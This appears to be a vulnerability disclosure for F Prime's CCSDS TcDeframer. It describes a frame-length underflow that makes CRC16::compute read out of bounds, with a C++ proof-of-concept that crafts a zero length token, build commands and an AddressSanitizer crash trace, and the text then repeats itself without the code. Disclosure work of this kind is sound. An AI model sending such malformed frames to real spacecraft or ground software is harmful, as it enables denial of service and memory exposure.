Summary
A missing lower‑bound validation on the CCSDS TC frame length in Svc::Ccsds::TcDeframer::dataIn_handler allows a crafted frame length token to underflow, causing CRC16::compute to read out of bounds. This results in a crash (ASan SEGV) and can lead to information disclosure.
Details
Component:
Svc::Ccsds::TcDeframer
Function:
Svc::Ccsds::TcDeframer::dataIn_handler
Issue:
total_frame_length is derived from an untrusted header field (frame length token + 1). The code only checks data.getSize() < total_frame_length and never validates that total_frame_length is at least TCHeader::SERIALIZED_SIZE + TCTrailer::SERIALIZED_SIZE.
Problematic operations:
CRC16::compute(data.getData(), total_frame_length - TCTrailer::SERIALIZED_SIZE)
moveDeserToOffset(total_frame_length - TCTrailer::SERIALIZED_SIZE)
data.setSize(total_frame_length - TCHeader::SERIALIZED_SIZE - TCTrailer::SERIALIZED_SIZE)
Impact:
When total_frame_length is smaller than the trailer (or header+trailer), unsigned subtraction underflows and becomes a huge length. CRC16::compute then reads far past the buffer, leading to a crash and potential data exposure.
Impact
Availability: Remote/unauthenticated DoS via malformed TC frame (process crash).
Confidentiality: OOB read may expose adjacent memory under certain conditions.
Affected File
TcDeframer.cpp
Build
Proof of Concept
PoC file:
tcdeframer_length_underflow_poc.cpp
// PoC for TC frame length underflow in Svc::Ccsds::TcDeframer
// This intentionally triggers an out-of-bounds read during CRC computation.
#include <sys/mman.h>
#include <unistd.h>
#include <cstring>
#include <cstdlib>
// Expose private handlers for PoC without modifying production code
#define private public
#include "Svc/Ccsds/TcDeframer/TcDeframer.hpp"
#undef private
#include "Fw/Buffer/Buffer.hpp"
int main() {
const long page_size = sysconf(_SC_PAGESIZE);
if (page_size <= 0) {
return 1;
}
// Allocate two pages and guard the second to deterministically catch OOB reads
void* mapping = mmap(nullptr, static_cast<size_t>(page_size) * 2,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mapping == MAP_FAILED) {
return 1;
}
if (mprotect(static_cast<char*>(mapping) + page_size, page_size, PROT_NONE) != 0) {
return 1;
}
// Place the buffer at the very end of the first page
const size_t buffer_size = 8; // header(5) + trailer(2) + 1 padding byte
unsigned char* buf = static_cast<unsigned char*>(mapping) + page_size - buffer_size;
std::memset(buf, 0, buffer_size);
// Craft TC header with length token = 0 -> total_frame_length = 1
const unsigned short scid = 0x0044; // default ComCfg::SpacecraftId
const unsigned char vcid = 0;
const unsigned short frame_length_token = 0; // 10-bit length token
buf[0] = static_cast<unsigned char>(scid >> 8);
buf[1] = static_cast<unsigned char>(scid & 0xFF);
buf[2] = static_cast<unsigned char>((vcid << 2) | ((frame_length_token >> 8) & 0x03));
buf[3] = static_cast<unsigned char>(frame_length_token & 0xFF);
buf[4] = 0; // sequence number
// Trailer bytes left as 0
Fw::Buffer fw_buffer(reinterpret_cast<U8*>(buf), static_cast<FwSizeType>(buffer_size));
ComCfg::FrameContext context; // default context
Svc::Ccsds::TcDeframer deframer("TcDeframerPoC");
// This call should attempt CRC over (1 - 2) bytes => underflow => large length
deframer.dataIn_handler(0, fw_buffer, context);
return 0;
}
ASan reproduces a crash in CRC16::compute due to OOB read.
Reproduction (Build + Run)
Prerequisites
python3 -m pip install fprime-fpp==3.1.1a1
python3 -m pip install fprime-tools
Configure ASan build
cmake -S /home/test/neom/target_repo/fprime -B /home/test/neom/target_repo/fprime/build-asan -G "Unix Makefiles"
-DCMAKE_BUILD_TYPE=Debug -DBUILD_TESTING=OFF
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer"
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer"
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
Build required targets
cmake --build /home/test/neom/target_repo/fprime/build-asan --target Svc_Ccsds_TcDeframer -j 4
cmake --build /home/test/neom/target_repo/fprime/build-asan --target Fw_StringFormat_snprintf Os_Mutex_Posix_Implementation Os_Mutex_Posix -j 4
Build PoC
g++ -std=c++17 -O0 -g -fsanitize=address -fno-omit-frame-pointer
-I /home/test/neom/target_repo/fprime
-I /home/test/neom/target_repo/fprime/default
-I /home/test/neom/target_repo/fprime/cmake/platform/unix
-I /home/test/neom/target_repo/fprime/build-asan
-I /home/test/neom/target_repo/fprime/build-asan/F-Prime
-I /home/test/neom/target_repo/fprime/build-asan/F-Prime/default
/home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc.cpp
/home/test/neom/target_repo/fprime/build-asan/F-Prime/Fw/Types/CMakeFiles/Fw_StringFormat_snprintf.dir/snprintf_format.cpp.o
/home/test/neom/target_repo/fprime/build-asan/F-Prime/Os/Posix/CMakeFiles/Os_Mutex_Posix.dir/DefaultMutex.cpp.o
-Wl,--start-group /home/test/neom/target_repo/fprime/build-asan/lib/Linux/*.a -Wl,--end-group
-lpthread -ldl
-o /home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc
Run
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-15
ASAN_OPTIONS="symbolize=1:malloc_context_size=50:fast_unwind_on_malloc=0:verbosity=2:log_path=/tmp/asan_tcdeframer"
/home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc
(base) test@DESKTOP-LNKJC6I:~/neom$ /home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==945470==ERROR: AddressSanitizer: SEGV on unknown address 0x73dfd18f5000 (pc 0x5a2d289f3b12 bp 0x7ffd58ad2330 sp 0x7ffd58ad2310 T0)
==945470==The signal is caused by a READ memory access.
#0 0x5a2d289f3b12 in Svc::Ccsds::Utils::CRC16::compute(unsigned char const*, unsigned int) /home/test/neom/target_repo/fprime/Svc/Ccsds/Utils/CRC16.hpp:46
#1 0x5a2d289f3389 in Svc::Ccsds::TcDeframer::dataIn_handler(short, Fw::Buffer&, ComCfg::FrameContext const&) /home/test/neom/target_repo/fprime/Svc/Ccsds/TcDeframer/TcDeframer.cpp:91
#2 0x5a2d289e2b8d in main /home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc.cpp:55
#3 0x73dfd0a2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x73dfd0a2a28a in __libc_start_main_impl ../csu/libc-start.c:360
#5 0x5a2d289e2764 in _start (/home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc+0xe764) (BuildId: 307c3d7e62984008c47077fa23407e907fb10642)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/test/neom/target_repo/fprime/Svc/Ccsds/Utils/CRC16.hpp:46 in Svc::Ccsds::Utils::CRC16::compute(unsigned char const*, unsigned int)
==945470==ABORTING
Summary
A missing lower‑bound validation on the CCSDS TC frame length in Svc::Ccsds::TcDeframer::dataIn_handler allows a crafted frame length token to underflow, causing CRC16::compute to read out of bounds. This results in a crash (ASan SEGV) and can lead to information disclosure.
Details
Component:
Svc::Ccsds::TcDeframer
Function:
Svc::Ccsds::TcDeframer::dataIn_handler
Issue:
total_frame_length is derived from an untrusted header field (frame length token + 1). The code only checks data.getSize() < total_frame_length and never validates that total_frame_length is at least TCHeader::SERIALIZED_SIZE + TCTrailer::SERIALIZED_SIZE.
Problematic operations:
CRC16::compute(data.getData(), total_frame_length - TCTrailer::SERIALIZED_SIZE)
moveDeserToOffset(total_frame_length - TCTrailer::SERIALIZED_SIZE)
data.setSize(total_frame_length - TCHeader::SERIALIZED_SIZE - TCTrailer::SERIALIZED_SIZE)
Impact:
When total_frame_length is smaller than the trailer (or header+trailer), unsigned subtraction underflows and becomes a huge length. CRC16::compute then reads far past the buffer, leading to a crash and potential data exposure.
Impact
Availability: Remote/unauthenticated DoS via malformed TC frame (process crash).
Confidentiality: OOB read may expose adjacent memory under certain conditions.
Affected File
TcDeframer.cpp
Build
Proof of Concept
PoC file:
tcdeframer_length_underflow_poc.cpp
ASan reproduces a crash in CRC16::compute due to OOB read.
Reproduction (Build + Run)
Prerequisites
python3 -m pip install fprime-fpp==3.1.1a1
python3 -m pip install fprime-tools
Configure ASan build
cmake -S /home/test/neom/target_repo/fprime -B /home/test/neom/target_repo/fprime/build-asan -G "Unix Makefiles"
-DCMAKE_BUILD_TYPE=Debug -DBUILD_TESTING=OFF
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer"
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer"
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
Build required targets
cmake --build /home/test/neom/target_repo/fprime/build-asan --target Svc_Ccsds_TcDeframer -j 4
cmake --build /home/test/neom/target_repo/fprime/build-asan --target Fw_StringFormat_snprintf Os_Mutex_Posix_Implementation Os_Mutex_Posix -j 4
Build PoC
g++ -std=c++17 -O0 -g -fsanitize=address -fno-omit-frame-pointer
-I /home/test/neom/target_repo/fprime
-I /home/test/neom/target_repo/fprime/default
-I /home/test/neom/target_repo/fprime/cmake/platform/unix
-I /home/test/neom/target_repo/fprime/build-asan
-I /home/test/neom/target_repo/fprime/build-asan/F-Prime
-I /home/test/neom/target_repo/fprime/build-asan/F-Prime/default
/home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc.cpp
/home/test/neom/target_repo/fprime/build-asan/F-Prime/Fw/Types/CMakeFiles/Fw_StringFormat_snprintf.dir/snprintf_format.cpp.o
/home/test/neom/target_repo/fprime/build-asan/F-Prime/Os/Posix/CMakeFiles/Os_Mutex_Posix.dir/DefaultMutex.cpp.o
-Wl,--start-group /home/test/neom/target_repo/fprime/build-asan/lib/Linux/*.a -Wl,--end-group
-lpthread -ldl
-o /home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc
Run
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-15
ASAN_OPTIONS="symbolize=1:malloc_context_size=50:fast_unwind_on_malloc=0:verbosity=2:log_path=/tmp/asan_tcdeframer"
/home/test/neom/target_repo/fprime/poc/tcdeframer_length_underflow_poc